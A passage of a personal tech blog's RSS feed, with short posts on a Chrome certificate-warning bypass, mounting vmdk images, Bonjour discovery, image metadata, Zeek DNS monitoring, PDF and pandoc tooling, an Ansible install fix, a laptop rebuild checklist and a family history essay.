      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;If Google Chrome presents an SSL error with no option to accept the risk, type &lt;code&gt;thisisunsafe&lt;/code&gt; to bypass the error and continue loading the page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; Make sure the risk is fully understood.  Someone may be attempting to impersonate the site or steal your personal information.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;When Google Chrome detects an SSL condition or error they believe is unsafe for users to view, the following error is presented:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to mount a vmdk file in Linux</title>
      <link>https://jasonmurray.org/posts/2021/mountvmdk/</link>
      <pubDate>Sat, 09 Jan 2021 14:29:34 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/mountvmdk/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;code&gt;vmdk&lt;/code&gt;&amp;rsquo;s, the underlying filesystem commonly used in &lt;code&gt;vmware&lt;/code&gt;, can be mounted on a Linux server using the &lt;code&gt;qemu&lt;/code&gt; utilities.  In this example, I downloaded an &lt;code&gt;ova&lt;/code&gt;, unarchived it, and retrieved the &lt;code&gt;vmdk&lt;/code&gt; files.  Once exposed, I am able to mount the filesystems embedded within the &lt;code&gt;vmdk&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In this example, the &lt;code&gt;ova&lt;/code&gt; is a virtual &amp;ldquo;appliance&amp;rdquo; which prohibits access a low level root shell.  By mounting the &lt;code&gt;vmdk&lt;/code&gt; file system directly, we can take a peek at the hidden secrets the vendor keeps under lock and key.&lt;/p&gt;</description>
    </item>
    <item>
      <title>The Story of Al Becker, my Grandfather</title>
      <link>https://jasonmurray.org/posts/2021/albeckerhistory/</link>
      <pubDate>Fri, 08 Jan 2021 13:31:31 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/albeckerhistory/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;While &lt;a href=&#34;https://jasonmurray.org/posts/datarecovery/&#34;&gt;recovering data off old drives&lt;/a&gt;, I stumbled across this essay my grandfather wrote about his life.  It was his attempt to document our family&amp;rsquo;s history going back as far as he can remember.&lt;/p&gt;&#xA;&lt;p&gt;There was no other information included in the document.  I don&amp;rsquo;t know if he wrote it or had someone else write it for him.  I am am not sure when it was written.  Either way, it is an interesting piece of history that was almost lost.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using dns-sd to discovery Bonjour advertised devices on a local network</title>
      <link>https://jasonmurray.org/posts/2021/bonjourdiscovery/</link>
      <pubDate>Thu, 07 Jan 2021 16:15:21 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/bonjourdiscovery/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Zero-configuration networking (zeroconf) is a suite of technologies used to configure, distribute, and discover devices (ie. laptops) and services (ie. printers) on a local network.  Many different protocol implementations of zeroconf exist depending on the operating system or vendor of the device.   The most common implementations are Apples Bonjour and Microsofts LLMNR, both inspired by the Multicast Domain Name Service.&lt;/p&gt;&#xA;&lt;p&gt;Discovery tools like &lt;code&gt;dns-sd&lt;/code&gt; on macOS, allow us to find and examine devices connected to a local network.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Viewing image metadata</title>
      <link>https://jasonmurray.org/posts/2021/imagemetadata/</link>
      <pubDate>Wed, 06 Jan 2021 16:05:08 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/imagemetadata/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;In addition to the images themselves, digital pictures contain a wealth of metadata information from the type of camera, resolution, GPS coordinates, date, etc.&lt;/p&gt;&#xA;&lt;p&gt;Below is output from the following tools: &lt;code&gt;macOS preview&lt;/code&gt;, &lt;code&gt;exif tools&lt;/code&gt;, and &lt;code&gt;imagemagick&lt;/code&gt;.  Some tools, mainly from the CLI, tend to return more information.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;macos-preview&#34;&gt;macOS Preview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-01-06-16-18-33.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;exif-tools&#34;&gt;EXIF tools&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ exif DSC02149.JPG&#xA;EXIF tags in &amp;#39;DSC02149.JPG&amp;#39; (&amp;#39;Intel&amp;#39; byte order):&#xA;--------------------+----------------------------------------------------------&#xA;Tag                 |Value&#xA;--------------------+----------------------------------------------------------&#xA;Image Description   |&#xA;Manufacturer        |SONY&#xA;Model               |CYBERSHOT&#xA;Orientation         |Top-left&#xA;X-Resolution        |72&#xA;Y-Resolution        |72&#xA;Resolution Unit     |Inch&#xA;Date and Time       |2007:12:05 12:04:18&#xA;YCbCr Positioning   |Co-sited&#xA;Compression         |JPEG compression&#xA;Manufacturer        |SONY&#xA;Model               |CYBERSHOT&#xA;Orientation         |Top-left&#xA;X-Resolution        |72&#xA;Y-Resolution        |72&#xA;Resolution Unit     |Inch&#xA;Date and Time       |2007:12:05 12:04:18&#xA;Exposure Time       |1/400 sec.&#xA;F-Number            |f/2.8&#xA;Exposure Program    |Normal program&#xA;ISO Speed Ratings   |100&#xA;Exif Version        |Exif Version 2.1&#xA;Date and Time (Origi|2007:12:05 12:04:18&#xA;Date and Time (Digit|2007:12:05 12:04:18&#xA;Components Configura|Y Cb Cr -&#xA;Compressed Bits per | 2&#xA;Exposure Bias       |0.00 EV&#xA;Maximum Aperture Val|2.00 EV (f/2.0)&#xA;Metering Mode       |Spot&#xA;Light Source        |Unknown&#xA;Flash               |Flash did not fire&#xA;Focal Length        |15.8 mm&#xA;Maker Note          |54 bytes undefined data&#xA;FlashPixVersion     |FlashPix Version 1.0&#xA;Color Space         |sRGB&#xA;Pixel X Dimension   |1600&#xA;Pixel Y Dimension   |1200&#xA;File Source         |DSC&#xA;Scene Type          |Directly photographed&#xA;Interoperability Ind|R98&#xA;Interoperability Ver|0100&#xA;--------------------+----------------------------------------------------------&#xA;EXIF data contains a thumbnail (4257 bytes).&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;imagemagick&#34;&gt;Imagemagick&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ identify -verbose DSC02149.JPG&#xA;Image: DSC02149.JPG&#xA;  Format: JPEG (Joint Photographic Experts Group JFIF format)&#xA;  Mime type: image/jpeg&#xA;  Class: DirectClass&#xA;  Geometry: 1600x1200+0+0&#xA;  Resolution: 72x72&#xA;  Print size: 22.2222x16.6667&#xA;  Units: PixelsPerInch&#xA;  Colorspace: sRGB&#xA;  Type: TrueColor&#xA;  Base type: Undefined&#xA;  Endianess: Undefined&#xA;  Depth: 8-bit&#xA;  Channel depth:&#xA;    red: 8-bit&#xA;    green: 8-bit&#xA;    blue: 8-bit&#xA;  Channel statistics:&#xA;    Pixels: 1920000&#xA;    Red:&#xA;      min: 0  (0)&#xA;      max: 255 (1)&#xA;      mean: 117.89 (0.462316)&#xA;      standard deviation: 59.8836 (0.234838)&#xA;      kurtosis: -1.09441&#xA;      skewness: 0.279962&#xA;      entropy: 0.950011&#xA;    Green:&#xA;      min: 0  (0)&#xA;      max: 251 (0.984314)&#xA;      mean: 117.175 (0.459511)&#xA;      standard deviation: 61.3972 (0.240773)&#xA;      kurtosis: -1.13271&#xA;      skewness: 0.30788&#xA;      entropy: 0.946928&#xA;    Blue:&#xA;      min: 0  (0)&#xA;      max: 255 (1)&#xA;      mean: 117.032 (0.45895)&#xA;      standard deviation: 68.8315 (0.269928)&#xA;      kurtosis: -1.15877&#xA;      skewness: 0.39023&#xA;      entropy: 0.958954&#xA;  Image statistics:&#xA;    Overall:&#xA;      min: 0  (0)&#xA;      max: 255 (1)&#xA;      mean: 117.366 (0.460259)&#xA;      standard deviation: 63.3708 (0.248513)&#xA;      kurtosis: -1.10722&#xA;      skewness: 0.335183&#xA;      entropy: 0.951965&#xA;  Rendering intent: Perceptual&#xA;  Gamma: 0.454545&#xA;  Chromaticity:&#xA;    red primary: (0.64,0.33)&#xA;    green primary: (0.3,0.6)&#xA;    blue primary: (0.15,0.06)&#xA;    white point: (0.3127,0.329)&#xA;  Background color: white&#xA;  Border color: srgb(223,223,223)&#xA;  Matte color: grey74&#xA;  Transparent color: black&#xA;  Interlace: None&#xA;  Intensity: Undefined&#xA;  Compose: Over&#xA;  Page geometry: 1600x1200+0+0&#xA;  Dispose: Undefined&#xA;  Iterations: 0&#xA;  Compression: JPEG&#xA;  Quality: 94&#xA;  Orientation: TopLeft&#xA;  Properties:&#xA;    date:create: 2021-01-06T22:02:35+00:00&#xA;    date:modify: 2021-01-06T22:02:35+00:00&#xA;    exif:ColorSpace: 1&#xA;    exif:ComponentsConfiguration: 1, 2, 3, 0&#xA;    exif:CompressedBitsPerPixel: 2/1&#xA;    exif:DateTime: 2007:12:05 12:04:18&#xA;    exif:DateTimeDigitized: 2007:12:05 12:04:18&#xA;    exif:DateTimeOriginal: 2007:12:05 12:04:18&#xA;    exif:ExifOffset: 218&#xA;    exif:ExifVersion: 48, 50, 49, 48&#xA;    exif:ExposureBiasValue: 0/10&#xA;    exif:ExposureProgram: 2&#xA;    exif:ExposureTime: 10/4000&#xA;    exif:FileSource: 3&#xA;    exif:Flash: 0&#xA;    exif:FlashPixVersion: 48, 49, 48, 48&#xA;    exif:FNumber: 28/10&#xA;    exif:FocalLength: 158/10&#xA;    exif:ImageDescription:&#xA;    exif:InteroperabilityOffset: 642&#xA;    exif:LightSource: 0&#xA;    exif:Make: SONY&#xA;    exif:MakerNote: 83, 79, 78, 89, 32, 68, 83, 67, 32, 0, 0, 0, 1, 0, 0, 14, 7, 0, 28, 0, 0, 0, 102, 2, 0, 0, 80, 114, 105, 110, 116, 73, 77, 0, 48, 49, 48, 48, 0, 0, 2, 0, 2, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0&#xA;    exif:MaxApertureValue: 20/10&#xA;    exif:MeteringMode: 3&#xA;    exif:Model: CYBERSHOT&#xA;    exif:Orientation: 1&#xA;    exif:PhotographicSensitivity: 100&#xA;    exif:PixelXDimension: 1600&#xA;    exif:PixelYDimension: 1200&#xA;    exif:ResolutionUnit: 2&#xA;    exif:SceneType: 1&#xA;    exif:thumbnail:Compression: 6&#xA;    exif:thumbnail:DateTime: 2007:12:05 12:04:18&#xA;    exif:thumbnail:InteroperabilityIndex: R98&#xA;    exif:thumbnail:InteroperabilityVersion: 48, 49, 48, 48&#xA;    exif:thumbnail:JPEGInterchangeFormat: 851&#xA;    exif:thumbnail:JPEGInterchangeFormatLength: 4257&#xA;    exif:thumbnail:Make: SONY&#xA;    exif:thumbnail:Model: CYBERSHOT&#xA;    exif:thumbnail:Orientation: 1&#xA;    exif:thumbnail:ResolutionUnit: 2&#xA;    exif:thumbnail:XResolution: 72/1&#xA;    exif:thumbnail:YResolution: 72/1&#xA;    exif:XResolution: 72/1&#xA;    exif:YCbCrPositioning: 2&#xA;    exif:YResolution: 72/1&#xA;    icc:copyright: Copyright 2003 Apple Computer Inc., all rights reserved.&#xA;    icc:description: Camera RGB Profile&#xA;    jpeg:colorspace: 2&#xA;    jpeg:sampling-factor: 2x1,1x1,1x1&#xA;    signature: 69746be0dd2ec1e5e8658391db4e9faa64168ac47249d92a7a877a0f7c5350d1&#xA;  Profiles:&#xA;    Profile-exif: 5115 bytes&#xA;    Profile-icc: 1352 bytes&#xA;  Artifacts:&#xA;    filename: DSC02149.JPG&#xA;    verbose: true&#xA;  Tainted: False&#xA;  Filesize: 897923B&#xA;  Number pixels: 1920000&#xA;  Pixels per second: 48MB&#xA;  User time: 0.040u&#xA;  Elapsed time: 0:01.040&#xA;  Version: ImageMagick 6.9.10-23 Q16 x86_64 20190101 https://imagemagick.org&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Repeating the same command while looking for differences</title>
      <link>https://jasonmurray.org/posts/2021/watchdiff/</link>
      <pubDate>Tue, 05 Jan 2021 12:49:35 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/watchdiff/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://gitlab.com/procps-ng/procps&#34;&gt;&lt;code&gt;watch&lt;/code&gt;&lt;/a&gt; command, in conjunction with the &lt;code&gt;-d&lt;/code&gt; (display differences) option and a carefully curated input set, will generate a &amp;ldquo;&lt;a href=&#34;https://gitlab.com/procps-ng/procps&#34;&gt;&lt;code&gt;top&lt;/code&gt;&lt;/a&gt; like&amp;rdquo; interface for realtime display of data sets.  In this example, I am processing &lt;a href=&#34;https://docs.zeek.org/en/current/scripts/base/protocols/dns/main.zeek.html#type-DNS::Info&#34;&gt;DNS&lt;/a&gt; queries logged by &lt;a href=&#34;https://zeek.org/&#34;&gt;Zeek&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;This command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;watch -d &amp;#39;cat dns.log | ../../bin/zeek-cut -d query  | sort | uniq -c | sort -rn | head -50&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Outputs the following information, updated every 2 seconds, with changes highlighted in white:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Merging PDFs with GhostScript on macOS</title>
      <link>https://jasonmurray.org/posts/2021/mergepdfs/</link>
      <pubDate>Mon, 04 Jan 2021 06:48:59 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/mergepdfs/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;This solution will combine 2 or more PDF&amp;rsquo;s into a single file.  It operates from the command line with nothing more then GhostScript installed from &lt;code&gt;brew&lt;/code&gt; on macOS (or your favorite package manager on Linux).&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Install Ghostscript with &lt;code&gt;brew&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install gs&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Combine the PDF&amp;rsquo;s with GhostScript:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf kc3-2020-obj1.pdf kc3-2020-obj2.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Converting markdown to PDFs with pandoc on macOS</title>
      <link>https://jasonmurray.org/posts/2021/pandoc2pdf/</link>
      <pubDate>Sun, 03 Jan 2021 06:31:33 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/pandoc2pdf/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Converting &lt;code&gt;markdown&lt;/code&gt; to &lt;code&gt;pdf&lt;/code&gt;&amp;rsquo;s on macOS Big Sur with &lt;code&gt;pandoc&lt;/code&gt; installed from &lt;code&gt;brew&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Install &lt;code&gt;pandoc&lt;/code&gt; with brew:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install pandoc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install &lt;code&gt;basictex&lt;/code&gt; with brew:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install --cask basictex&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Symlink the &lt;code&gt;pdflatex&lt;/code&gt; binary into &lt;code&gt;/usr/local/bin&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@jasons-mbp posts % sudo ln -s /Library/Tex/Distributions/.DefaultTeX/Contents/Programs/x86_64/pdflatex /usr/local/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Example conversion with images:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cat kc3-2020-obj1.md kc3-2020-obj2.md &#xA;  \ | sed &amp;#39;s/(\/images\//(/g&amp;#39; &#xA;  \ | pandoc -f markdown &#xA;  \ --resource-path=../../static/images/ &#xA;  \ -t pdf &#xA;  \ -o ~/kc3-2020-writeup.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Installing Ansible on a fresh install of Big Sur</title>
      <link>https://jasonmurray.org/posts/2021/pipansiblebigsur/</link>
      <pubDate>Sat, 02 Jan 2021 12:28:00 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/pipansiblebigsur/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;While attempting to install Ansible in a virtual environment on a clean install of Big Sur, I received the following error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ERROR: Could not build wheels for cryptography which use PEP 517 and cannot be installed directly&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The problem resolved itself after upgrading &lt;code&gt;pip&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install --upgrade pip&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the upgrade:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(.venv) jemurray@jasons-mbp:~/Documents/src/ansible $ pip install ansible&#xA;Collecting ansible&#xA;  Using cached ansible-2.10.4.tar.gz (28.6 MB)&#xA;&#xA;...&#xA;&#xA;Successfully installed MarkupSafe-1.1.1 PyYAML-5.3.1 ansible-2.10.4 ansible-base-2.10.4 cffi-1.14.4 cryptography-3.3.1 jinja2-2.11.2 packaging-20.8 pycparser-2.20 pyparsing-2.4.7 six-1.15.0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;First attempt installing Ansible (failed):&lt;/p&gt;</description>
    </item>
    <item>
      <title>Rebuilding the Laptop in 2021</title>
      <link>https://jasonmurray.org/posts/2021/laptoprebuild2021/</link>
      <pubDate>Fri, 01 Jan 2021 11:17:50 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/laptoprebuild2021/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;My first new years resolution.  Rebuild my daily driver laptop.&lt;/p&gt;&#xA;&lt;h1 id=&#34;rebuild-details&#34;&gt;Rebuild Details&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Before starting the rebuild:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Validate iCloud drive sync is functioning properly.   Log into the web interface to spot check a  few files.&lt;/li&gt;&#xA;&lt;li&gt;Validate TimeMachine has recently run a backup.&lt;/li&gt;&#xA;&lt;li&gt;Unmount all external backup disks.&lt;/li&gt;&#xA;&lt;li&gt;Dump list of /Applications: &lt;code&gt;ls -al /Applications&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Dump list of software installed with &lt;code&gt;brew&lt;/code&gt;: &lt;code&gt;brew list&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure the software list is backed up or synced with iCloud before rebooting.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Shutdown and power off.&lt;/li&gt;&#xA;&lt;li&gt;Press the power button.&lt;/li&gt;&#xA;&lt;li&gt;Immediately press and hold: &lt;code&gt;&amp;lt;command&amp;gt;+r&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Connect to the Internet by selecting the wireless network in the upper right corner.&lt;/li&gt;&#xA;&lt;li&gt;Select Disk Utility&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note: There is no turning back from the following steps, all existing data will be deleted.&lt;/li&gt;&#xA;&lt;li&gt;Delete all existing partitions (Macintosh HD and Macintosh HD - Data).&lt;/li&gt;&#xA;&lt;li&gt;Create a new single partition.&lt;/li&gt;&#xA;&lt;li&gt;Erase the new partition with an APFS file system.&lt;/li&gt;&#xA;&lt;li&gt;Exit Disk Utility&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Select: Reinstall macOS (reinstall a new copy of macOS)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unfortunately, this method will not install the latest OS.  You must install the same macOS version that came with the system originally first.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Post Installation:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create the local user account.&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t enable iCloud at this point.&lt;/li&gt;&#xA;&lt;li&gt;Install all the latest patches.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Start the upgrade to the latest macOS version.&lt;/li&gt;&#xA;&lt;li&gt;System Preferences&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable firewall, it is off by default.&lt;/li&gt;&#xA;&lt;li&gt;Swap &lt;code&gt;&amp;lt;control&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;cap-locks&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Setup keyboard short cuts to switch desktops with &lt;code&gt;&amp;lt;control&amp;gt; + ##&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Uncheck automatically rearrange space in Mission Control settings.&lt;/li&gt;&#xA;&lt;li&gt;Enable TimeMachine and display in menu bar&lt;/li&gt;&#xA;&lt;li&gt;Accounts: Enable Google Contacts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Enable iCloud&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable iCloud Drive and sync Documents folder.&lt;/li&gt;&#xA;&lt;li&gt;Note: iCloud drive may take hours for files to start showing up.   Give it time.&lt;/li&gt;&#xA;&lt;li&gt;Enable KeyChain - it will prompt for passwords.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Change shell from &lt;code&gt;zsh&lt;/code&gt; to &lt;code&gt;bash&lt;/code&gt; (&lt;code&gt;chsh -s /bin/bash&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Setup dotfiles:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Symlink .ssh (ln -s ~/Documents/dotfiles/.ssh ./)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fix permissions on private key: &lt;code&gt;chmod 600 id_rsa&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Symlink .bash_profile (ln -s ~Documents/dotfiles/.bash_profile ./)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Software installation:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brew&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hugo&lt;/li&gt;&#xA;&lt;li&gt;sipcalc&lt;/li&gt;&#xA;&lt;li&gt;autossh&lt;/li&gt;&#xA;&lt;li&gt;pandoc&lt;/li&gt;&#xA;&lt;li&gt;basictex (&lt;code&gt;brew cask install basictex&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;gs&lt;/li&gt;&#xA;&lt;li&gt;grepcidr&lt;/li&gt;&#xA;&lt;li&gt;wget&lt;/li&gt;&#xA;&lt;li&gt;tor&lt;/li&gt;&#xA;&lt;li&gt;torsocks&lt;/li&gt;&#xA;&lt;li&gt;mosh&lt;/li&gt;&#xA;&lt;li&gt;gpg&lt;/li&gt;&#xA;&lt;li&gt;jq&lt;/li&gt;&#xA;&lt;li&gt;python-yq&lt;/li&gt;&#xA;&lt;li&gt;iperf3&lt;/li&gt;&#xA;&lt;li&gt;telnet&lt;/li&gt;&#xA;&lt;li&gt;coreutils&lt;/li&gt;&#xA;&lt;li&gt;mtr&lt;/li&gt;&#xA;&lt;li&gt;pv&lt;/li&gt;&#xA;&lt;li&gt;exiftool&lt;/li&gt;&#xA;&lt;li&gt;pstree&lt;/li&gt;&#xA;&lt;li&gt;htop&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;LastPass (macOS and plugins)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allow LastPass to monitor input from keyboard&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;iTerm2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable terminal logging (plain text)&lt;/li&gt;&#xA;&lt;li&gt;Set unlimited scroll-back&lt;/li&gt;&#xA;&lt;li&gt;Mouse follows focus: prefs -&amp;gt; pointer -&amp;gt; general&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t adjust window when changing font size: prefs -&amp;gt; general -&amp;gt; window -&amp;gt; font&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Chrome&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sign in and enable sync&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Teams&lt;/li&gt;&#xA;&lt;li&gt;Slack (from AppStore)&lt;/li&gt;&#xA;&lt;li&gt;Discord&lt;/li&gt;&#xA;&lt;li&gt;Notion&lt;/li&gt;&#xA;&lt;li&gt;OneNote&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open Notebook: Jason&amp;rsquo;s Notes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Zoom&lt;/li&gt;&#xA;&lt;li&gt;vscode&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login with GitHub account&lt;/li&gt;&#xA;&lt;li&gt;Enable Configuration Sync&lt;/li&gt;&#xA;&lt;li&gt;Extensions:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Markdown All in One&lt;/li&gt;&#xA;&lt;li&gt;Python&lt;/li&gt;&#xA;&lt;li&gt;Spell Right&lt;/li&gt;&#xA;&lt;li&gt;Paste Image extensions&lt;/li&gt;&#xA;&lt;li&gt;Foam for VSCode&lt;/li&gt;&#xA;&lt;li&gt;GitHub Pull Requests and Issues&lt;/li&gt;&#xA;&lt;li&gt;GitLens - Git supercharged&lt;/li&gt;&#xA;&lt;li&gt;Jupyter&lt;/li&gt;&#xA;&lt;li&gt;Markdown Notes&lt;/li&gt;&#xA;&lt;li&gt;markdownlink&lt;/li&gt;&#xA;&lt;li&gt;ToDo+&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Ansible&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;python3 -m venv .venv &amp;amp;&amp;amp; source .venv/bin/activate &amp;amp;&amp;amp; pip install --upgrade pip &amp;amp;&amp;amp; pip install ansible&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Firefox&lt;/li&gt;&#xA;&lt;li&gt;ProWriting Aid&lt;/li&gt;&#xA;&lt;li&gt;BoxDrive (not BoxSync, have to reboot after install)&lt;/li&gt;&#xA;&lt;li&gt;OmniGraffle&lt;/li&gt;&#xA;&lt;li&gt;Microsoft Office Suite: &lt;a href=&#34;https://portal.office.com/account/&#34;&gt;https://portal.office.com/account/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser&lt;/li&gt;&#xA;&lt;li&gt;Wireshark&lt;/li&gt;&#xA;&lt;li&gt;Duet&lt;/li&gt;&#xA;&lt;li&gt;Etcher&lt;/li&gt;&#xA;&lt;li&gt;Postman&lt;/li&gt;&#xA;&lt;li&gt;imagemagick&lt;/li&gt;&#xA;&lt;li&gt;Microsoft Remote Desktop&lt;/li&gt;&#xA;&lt;li&gt;Burp Suite&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;post-installation-notes&#34;&gt;Post Installation Notes:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;python3&lt;/code&gt; is installed by default on Big Sur, I will try this out before installing &lt;code&gt;python3&lt;/code&gt; with &lt;code&gt;brew&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I will no longer &lt;code&gt;pip 